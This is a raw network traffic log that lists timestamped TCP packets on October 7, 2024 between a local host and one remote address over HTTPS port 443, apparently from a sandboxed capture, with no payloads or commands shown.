Oct 7, 2024 03:16:36.274429083 CEST	443	49885	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.274832010 CEST	49885	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.274883032 CEST	443	49885	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.275233030 CEST	49885	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.275245905 CEST	443	49885	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.312954903 CEST	443	49884	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.313184977 CEST	443	49884	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.313250065 CEST	49884	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.313292980 CEST	49884	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.313307047 CEST	443	49884	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.313322067 CEST	49884	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.313328028 CEST	443	49884	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.315123081 CEST	443	49883	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.315335989 CEST	443	49883	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.315403938 CEST	49883	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.315435886 CEST	49883	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.315453053 CEST	443	49883	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.315464020 CEST	49883	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.315470934 CEST	443	49883	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.315933943 CEST	49888	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.315951109 CEST	443	49888	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.316014051 CEST	49888	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.316148996 CEST	49888	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.316162109 CEST	443	49888	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.317449093 CEST	49889	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.317500114 CEST	443	49889	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.317569971 CEST	49889	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.317682028 CEST	49889	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.317711115 CEST	443	49889	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.377892017 CEST	443	49885	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.378077030 CEST	443	49885	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.378273964 CEST	49885	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.378273964 CEST	49885	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.378367901 CEST	49885	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.378417969 CEST	443	49885	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.380753040 CEST	49890	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.380846024 CEST	443	49890	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.380954027 CEST	49890	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.381088018 CEST	49890	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.381108999 CEST	443	49890	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.603945017 CEST	443	49886	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.604584932 CEST	49886	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.604650974 CEST	443	49886	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.605103970 CEST	49886	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.605124950 CEST	443	49886	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.704221010 CEST	443	49886	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.704325914 CEST	443	49886	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.704395056 CEST	49886	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.704452991 CEST	443	49886	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.704485893 CEST	443	49886	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.704544067 CEST	49886	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.704696894 CEST	49886	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.704730988 CEST	443	49886	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.704757929 CEST	49886	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.704772949 CEST	443	49886	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.708246946 CEST	49891	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.708278894 CEST	443	49891	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.708359957 CEST	49891	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.708575010 CEST	49891	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.708586931 CEST	443	49891	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.823256969 CEST	443	49887	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.823954105 CEST	49887	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.823970079 CEST	443	49887	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.824372053 CEST	49887	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.824376106 CEST	443	49887	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.922035933 CEST	443	49887	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.922149897 CEST	443	49887	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.922293901 CEST	49887	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.922437906 CEST	49887	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.922456026 CEST	443	49887	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.922465086 CEST	49887	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.922472000 CEST	443	49887	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.925601959 CEST	49892	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.925635099 CEST	443	49892	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.925734997 CEST	49892	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.925893068 CEST	49892	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.925903082 CEST	443	49892	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.952152014 CEST	443	49889	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.952594042 CEST	49889	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.952658892 CEST	443	49889	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.953171015 CEST	49889	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.953191996 CEST	443	49889	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.956346989 CEST	443	49888	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.956692934 CEST	49888	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.956717014 CEST	443	49888	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.957103014 CEST	49888	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.957109928 CEST	443	49888	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.052259922 CEST	443	49889	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.052582026 CEST	443	49889	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.052649975 CEST	49889	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.052746058 CEST	49889	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.052746058 CEST	49889	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.052788973 CEST	443	49889	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.052815914 CEST	443	49889	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.054172039 CEST	443	49888	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.054279089 CEST	443	49888	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.054336071 CEST	49888	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.054352045 CEST	443	49888	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.054394007 CEST	443	49888	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.054439068 CEST	49888	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.054784060 CEST	49888	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.054795027 CEST	443	49888	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.054804087 CEST	49888	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.054811001 CEST	443	49888	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.058166027 CEST	49893	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.058212042 CEST	443	49893	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.058269978 CEST	49893	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.059020042 CEST	49893	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.059036970 CEST	443	49893	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.059779882 CEST	49894	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.059788942 CEST	443	49894	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.059930086 CEST	49894	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.060045958 CEST	49894	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.060055971 CEST	443	49894	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.067425966 CEST	443	49890	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.067981958 CEST	49890	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.068006039 CEST	443	49890	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.068718910 CEST	49890	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.068732023 CEST	443	49890	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.172049046 CEST	443	49890	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.172173977 CEST	443	49890	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.172230005 CEST	49890	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.172254086 CEST	443	49890	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.172290087 CEST	443	49890	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.172344923 CEST	49890	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.172462940 CEST	49890	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.172486067 CEST	443	49890	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.172511101 CEST	49890	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.172524929 CEST	443	49890	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.175594091 CEST	49895	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.175632000 CEST	443	49895	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.175693035 CEST	49895	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.175849915 CEST	49895	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.175864935 CEST	443	49895	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.347103119 CEST	443	49891	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.347670078 CEST	49891	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.347692966 CEST	443	49891	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.348300934 CEST	49891	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.348306894 CEST	443	49891	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.446038961 CEST	443	49891	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.446233988 CEST	443	49891	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.446315050 CEST	49891	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.446753979 CEST	49891	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.446779013 CEST	443	49891	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.446789980 CEST	49891	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.446795940 CEST	443	49891	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.457596064 CEST	49896	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.457654953 CEST	443	49896	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.457730055 CEST	49896	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.457972050 CEST	49896	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.457992077 CEST	443	49896	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.591784954 CEST	443	49892	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.592344999 CEST	49892	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.592355013 CEST	443	49892	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.592838049 CEST	49892	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.592844009 CEST	443	49892	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.693490028 CEST	443	49892	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.693648100 CEST	443	49892	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.693833113 CEST	49892	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.693886995 CEST	49892	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.693903923 CEST	443	49892	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.693916082 CEST	49892	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.693922997 CEST	443	49892	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.697108984 CEST	49897	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.697208881 CEST	443	49897	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.697292089 CEST	49897	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.697427988 CEST	49897	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.697462082 CEST	443	49897	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.702497005 CEST	443	49893	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.702873945 CEST	49893	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.702891111 CEST	443	49893	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.703344107 CEST	49893	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.703349113 CEST	443	49893	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.725215912 CEST	443	49894	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.725493908 CEST	49894	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.725502014 CEST	443	49894	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.725828886 CEST	49894	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.725835085 CEST	443	49894	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.800296068 CEST	443	49893	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.800463915 CEST	443	49893	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.800585032 CEST	49893	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.800867081 CEST	49893	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.800880909 CEST	443	49893	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.800890923 CEST	49893	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.800895929 CEST	443	49893	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.803782940 CEST	49898	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.803834915 CEST	443	49898	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.803915977 CEST	49898	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.804075956 CEST	49898	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.804094076 CEST	443	49898	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.826998949 CEST	443	49894	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.827162981 CEST	443	49894	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.827305079 CEST	49894	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.827359915 CEST	49894	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.827368975 CEST	443	49894	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.827378035 CEST	49894	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.827382088 CEST	443	49894	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.828484058 CEST	443	49895	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.830178976 CEST	49899	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.830230951 CEST	443	49899	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.830550909 CEST	49895	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.830568075 CEST	443	49895	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.830599070 CEST	49899	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.830705881 CEST	49899	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.830722094 CEST	443	49899	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.831074953 CEST	49895	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.831079960 CEST	443	49895	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.928317070 CEST	443	49895	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.928495884 CEST	443	49895	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.928584099 CEST	49895	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.928858995 CEST	49895	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.928875923 CEST	443	49895	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.928889036 CEST	49895	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.928895950 CEST	443	49895	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.931715965 CEST	49900	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.931750059 CEST	443	49900	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:37.931837082 CEST	49900	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.932020903 CEST	49900	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:37.932034969 CEST	443	49900	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.124619961 CEST	443	49896	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.125500917 CEST	49896	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.125533104 CEST	443	49896	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.126147985 CEST	49896	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.126156092 CEST	443	49896	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.227196932 CEST	443	49896	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.227272034 CEST	443	49896	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.227380991 CEST	443	49896	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.227447033 CEST	49896	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.227479935 CEST	49896	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.228208065 CEST	49896	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.228228092 CEST	443	49896	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.228241920 CEST	49896	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.228247881 CEST	443	49896	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.231770992 CEST	49901	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.231861115 CEST	443	49901	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.231975079 CEST	49901	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.232166052 CEST	49901	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.232198000 CEST	443	49901	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.357688904 CEST	443	49897	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.358275890 CEST	49897	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.358336926 CEST	443	49897	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.358855009 CEST	49897	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.358872890 CEST	443	49897	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.455265999 CEST	443	49898	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.455720901 CEST	49898	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.455754995 CEST	443	49898	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.456299067 CEST	49898	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.456315041 CEST	443	49898	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.478744030 CEST	443	49899	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.481053114 CEST	49899	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.481069088 CEST	443	49899	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.481596947 CEST	49899	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.481602907 CEST	443	49899	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.555568933 CEST	443	49898	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.555638075 CEST	443	49898	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.555748940 CEST	443	49898	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.555778027 CEST	49898	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.555843115 CEST	49898	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.556077957 CEST	49898	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.556130886 CEST	443	49898	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.556160927 CEST	49898	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.556178093 CEST	443	49898	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.558027029 CEST	443	49897	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.558120012 CEST	443	49897	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.558207035 CEST	49897	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.558343887 CEST	49897	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.558361053 CEST	443	49897	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.558382034 CEST	49897	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.558392048 CEST	443	49897	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.559556961 CEST	49902	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.559654951 CEST	443	49902	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.559763908 CEST	49902	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.559900045 CEST	49902	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.559937000 CEST	443	49902	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.560646057 CEST	49903	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.560684919 CEST	443	49903	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.560750961 CEST	49903	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.560920000 CEST	49903	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.560930967 CEST	443	49903	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.569345951 CEST	443	49900	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.569739103 CEST	49900	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.569749117 CEST	443	49900	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.570223093 CEST	49900	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.570228100 CEST	443	49900	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.578854084 CEST	443	49899	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.579014063 CEST	443	49899	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.579128981 CEST	49899	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.579159021 CEST	49899	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.579176903 CEST	443	49899	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.579188108 CEST	49899	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.579195976 CEST	443	49899	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.581615925 CEST	49904	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.581656933 CEST	443	49904	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.581733942 CEST	49904	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.581867933 CEST	49904	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.581883907 CEST	443	49904	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.666723013 CEST	443	49900	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.666798115 CEST	443	49900	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.666877031 CEST	49900	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.666886091 CEST	443	49900	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.666925907 CEST	443	49900	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.666975975 CEST	49900	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.667365074 CEST	49900	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.667372942 CEST	443	49900	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.667387009 CEST	49900	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.667390108 CEST	443	49900	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.670743942 CEST	49905	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.670779943 CEST	443	49905	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.670864105 CEST	49905	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.671009064 CEST	49905	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.671025038 CEST	443	49905	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.893688917 CEST	443	49901	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.894258022 CEST	49901	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.894296885 CEST	443	49901	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.894768953 CEST	49901	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:38.894779921 CEST	443	49901	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.999872923 CEST	443	49901	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:38.999948025 CEST	443	49901	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.000049114 CEST	49901	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.000340939 CEST	49901	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.000374079 CEST	443	49901	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.000400066 CEST	49901	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.000413895 CEST	443	49901	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.003201008 CEST	49906	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.003238916 CEST	443	49906	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.003312111 CEST	49906	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.003449917 CEST	49906	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.003463030 CEST	443	49906	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.202495098 CEST	443	49903	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.203048944 CEST	49903	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.203063011 CEST	443	49903	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:39.203515053 CEST	49903	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:39.203521013 CEST	443	49903	13.107.246.60	192.168.2.6
